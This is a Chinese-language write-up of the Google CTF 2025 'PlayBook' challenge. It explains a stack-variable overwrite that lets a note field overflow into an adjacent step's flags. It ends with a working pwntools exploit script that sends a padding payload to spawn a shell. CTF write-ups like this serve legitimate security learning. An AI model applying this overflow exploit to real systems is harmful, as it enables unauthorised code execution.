Google CTF 2025 PlayBook Writeup
struct PlayBook {
int flags; // &1=used, &2=cmd, &4=note
int sub_ids[10];
char note[0x200]; // 0x2c
};
nesting_depth
在结束后不会置零,创建和结束前也不会检查是不是 0。创建 playbook 的时候不写 ENDSTEP
的话 nesting_depth
就会大于 0 而且会保留到下次创建时。new_playbook
创建 playbook 处理嵌套时需要将 id 暂存在数组中,且该数组另有一个元素指针。用户输入读取长度 buf_size 是一个栈上的变量,与暂存 id 数组低地址相邻。(这里的变量分配很反常,大概是用了在栈上的结构体,强制改变了栈上变量布局。)这样可以改 buf_size 为一个 index 值,从而溢出 struct PlayBook
里的 char note[0x200]
改到高地址相邻 step 的 flags 和 note
。先创建一大堆没用的 step 把 index 扩大到超过 0x205。
Exp:
# 1 ~ 575 (576)
for _ in range(0x120):
io.sendlineafter(b'5. Quit\n', b'2') # new
io.sendlineafter(b'entry.\n',
f'''STEP
note: sh
ENDSTEP
'''.encode())
io.sendlineafter(b'5. Quit\n', b'3') # delete
io.sendlineafter(b'id:\n', b'569') # id: 569 (570)
io.sendlineafter(b'5. Quit\n', b'3') # delete
io.sendlineafter(b'id:\n', b'571') # id: 571 (572)
io.sendlineafter(b'5. Quit\n', b'3') # delete
io.sendlineafter(b'id:\n', b'573') # id: 573 (574)
io.sendlineafter(b'5. Quit\n', b'2') # new 569 570 571
io.sendlineafter(b'entry.\n',
f'''STEP
STEP
''')
io.sendlineafter(b'5. Quit\n', b'2') # new 572 573 574
io.sendlineafter(b'entry.\n',
f'''ENDSTEP
ENDSTEP
STEP
STEP
note: ''' + '\x03' * (0x204 + 40) + 'sh\n')
我没有精确计算应该先分配多少 playbook,exp 里 0x120 之类的数字没有特别含义。不成对的 STEP
、ENDSTEP
也许只需要一个,解题时我求稳将 nesting_depth
设置为 2。